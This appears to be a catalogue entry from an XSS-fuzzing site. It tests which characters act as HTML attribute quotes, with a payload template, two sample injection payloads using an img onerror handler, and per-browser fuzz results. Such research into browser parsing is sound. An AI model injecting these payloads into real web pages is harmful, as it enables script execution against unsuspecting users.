Characters that act as attribute quotes
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2This vector shows which characters act like quotes by nullifying a HTML comment.
Created byhackvertor
Created May 28, 2024
Updated May 27, 2025
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CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<div a=$[chr]><!-- $[chr]></div><img src=x:x onerror=log($[i]) -->Sample payloads
<div a="><!-- "></div><img src=x:x onerror=alert(34) --><div a='><!-- '></div><img src=x:x onerror=alert(39) -->Fuzz results
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 2 results
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Chrome 125.0.0.0 Unknown Unknownolder version
Updated28 May 2024
Found 2 results
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Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 2 results
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Firefox 147.0 desktop Linuxolder version
Updated1 Feb 2026
Found 2 results
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Firefox 126.0 Unknown Unknownolder version
Updated28 May 2024
Found 2 results
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Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 2 results
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Safari 17.4 Unknown Unknown
Updated28 May 2024
Found 2 results
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